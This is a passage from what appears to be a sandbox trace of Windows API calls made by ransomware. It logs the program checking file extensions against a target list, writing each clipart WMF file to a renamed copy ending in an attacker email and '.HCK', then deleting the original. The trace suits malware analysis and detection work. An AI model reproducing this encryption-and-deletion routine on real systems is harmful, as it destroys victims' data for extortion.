(lpString1=".jpg", lpString2=".WMF") returned -1 [0230.856] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.856] lstrlenW (lpString="J0105246.WMF") returned 12 [0230.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.856] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19328) returned 1 [0230.856] CloseHandle (hObject=0x4cc) returned 1 [0230.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0230.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.857] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.857] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0230.858] GetLastError () returned 0x0 [0230.858] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4b80, lpOverlapped=0x0) returned 1 [0230.859] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4b90, lpOverlapped=0x0) returned 1 [0230.860] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.860] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.860] SetEndOfFile (hFile=0x4bc) returned 1 [0230.861] CloseHandle (hObject=0x4bc) returned 1 [0230.861] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.861] SetEndOfFile (hFile=0x4cc) returned 1 [0230.863] CloseHandle (hObject=0x4cc) returned 1 [0230.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0230.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.864] lstrlenW (lpString=".doc") returned 4 [0230.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.864] lstrlenW (lpString=".docx") returned 5 [0230.864] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0230.864] lstrlenW (lpString=".pdf") returned 4 [0230.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.864] lstrlenW (lpString=".xls") returned 4 [0230.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.864] lstrlenW (lpString=".xlsx") returned 5 [0230.864] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0230.864] lstrlenW (lpString=".ppt") returned 4 [0230.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.864] lstrlenW (lpString=".zip") returned 4 [0230.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.864] lstrlenW (lpString=".rar") returned 4 [0230.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".bz2") returned 4 [0230.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".7z") returned 3 [0230.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".dbf") returned 4 [0230.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".1cd") returned 4 [0230.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".jpg") returned 4 [0230.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".doc") returned 4 [0230.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".docx") returned 5 [0230.865] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0230.865] lstrlenW (lpString=".pdf") returned 4 [0230.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".xls") returned 4 [0230.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.865] lstrlenW (lpString=".xlsx") returned 5 [0230.865] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0230.865] lstrlenW (lpString=".ppt") returned 4 [0230.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".zip") returned 4 [0230.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.865] lstrlenW (lpString=".rar") returned 4 [0230.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".bz2") returned 4 [0230.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString=".7z") returned 3 [0230.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".dbf") returned 4 [0230.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".1cd") returned 4 [0230.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0230.865] lstrlenW (lpString=".jpg") returned 4 [0230.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.865] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.866] lstrlenW (lpString="J0105250.WMF") returned 12 [0230.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.866] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4628) returned 1 [0230.866] CloseHandle (hObject=0x4cc) returned 1 [0230.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0230.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.867] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.867] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0230.868] GetLastError () returned 0x0 [0230.868] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1214, lpOverlapped=0x0) returned 1 [0230.869] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1220, lpOverlapped=0x0) returned 1 [0230.870] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.870] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.870] SetEndOfFile (hFile=0x4bc) returned 1 [0230.870] CloseHandle (hObject=0x4bc) returned 1 [0230.870] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.870] SetEndOfFile (hFile=0x4cc) returned 1 [0230.872] CloseHandle (hObject=0x4cc) returned 1 [0230.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0230.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.873] lstrlenW (lpString=".doc") returned 4 [0230.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.873] lstrlenW (lpString=".docx") returned 5 [0230.873] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0230.873] lstrlenW (lpString=".pdf") returned 4 [0230.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.873] lstrlenW (lpString=".xls") returned 4 [0230.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.873] lstrlenW (lpString=".xlsx") returned 5 [0230.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0230.873] lstrlenW (lpString=".ppt") returned 4 [0230.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.873] lstrlenW (lpString=".zip") returned 4 [0230.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.873] lstrlenW (lpString=".rar") returned 4 [0230.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.873] lstrlenW (lpString=".bz2") returned 4 [0230.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.873] lstrlenW (lpString=".7z") returned 3 [0230.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".dbf") returned 4 [0230.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".1cd") returned 4 [0230.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".jpg") returned 4 [0230.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".doc") returned 4 [0230.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString=".docx") returned 5 [0230.874] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0230.874] lstrlenW (lpString=".pdf") returned 4 [0230.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString=".xls") returned 4 [0230.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.874] lstrlenW (lpString=".xlsx") returned 5 [0230.874] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0230.874] lstrlenW (lpString=".ppt") returned 4 [0230.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".zip") returned 4 [0230.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.874] lstrlenW (lpString=".rar") returned 4 [0230.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString=".bz2") returned 4 [0230.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString=".7z") returned 3 [0230.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".dbf") returned 4 [0230.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".1cd") returned 4 [0230.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0230.874] lstrlenW (lpString=".jpg") returned 4 [0230.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.874] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.874] lstrlenW (lpString="J0105266.WMF") returned 12 [0230.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.875] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5908) returned 1 [0230.876] CloseHandle (hObject=0x4cc) returned 1 [0230.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0230.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.876] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.876] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0230.877] GetLastError () returned 0x0 [0230.877] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1714, lpOverlapped=0x0) returned 1 [0231.119] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1720, lpOverlapped=0x0) returned 1 [0231.208] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.208] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.208] SetEndOfFile (hFile=0x4bc) returned 1 [0231.681] CloseHandle (hObject=0x4bc) returned 1 [0231.681] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.681] SetEndOfFile (hFile=0x4cc) returned 1 [0231.683] CloseHandle (hObject=0x4cc) returned 1 [0231.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".doc") returned 4 [0231.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".docx") returned 5 [0231.684] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.684] lstrlenW (lpString=".pdf") returned 4 [0231.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".xls") returned 4 [0231.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.684] lstrlenW (lpString=".xlsx") returned 5 [0231.684] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.684] lstrlenW (lpString=".ppt") returned 4 [0231.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".zip") returned 4 [0231.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.684] lstrlenW (lpString=".rar") returned 4 [0231.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".bz2") returned 4 [0231.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".7z") returned 3 [0231.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".dbf") returned 4 [0231.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".1cd") returned 4 [0231.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".jpg") returned 4 [0231.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.684] lstrlenW (lpString=".doc") returned 4 [0231.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".docx") returned 5 [0231.684] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.684] lstrlenW (lpString=".pdf") returned 4 [0231.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.684] lstrlenW (lpString=".xls") returned 4 [0231.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.685] lstrlenW (lpString=".xlsx") returned 5 [0231.685] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.685] lstrlenW (lpString=".ppt") returned 4 [0231.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.685] lstrlenW (lpString=".zip") returned 4 [0231.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.685] lstrlenW (lpString=".rar") returned 4 [0231.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.685] lstrlenW (lpString=".bz2") returned 4 [0231.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.685] lstrlenW (lpString=".7z") returned 3 [0231.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.685] lstrlenW (lpString=".dbf") returned 4 [0231.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.685] lstrlenW (lpString=".1cd") returned 4 [0231.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0231.685] lstrlenW (lpString=".jpg") returned 4 [0231.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.685] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.685] lstrlenW (lpString="J0105338.WMF") returned 12 [0231.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 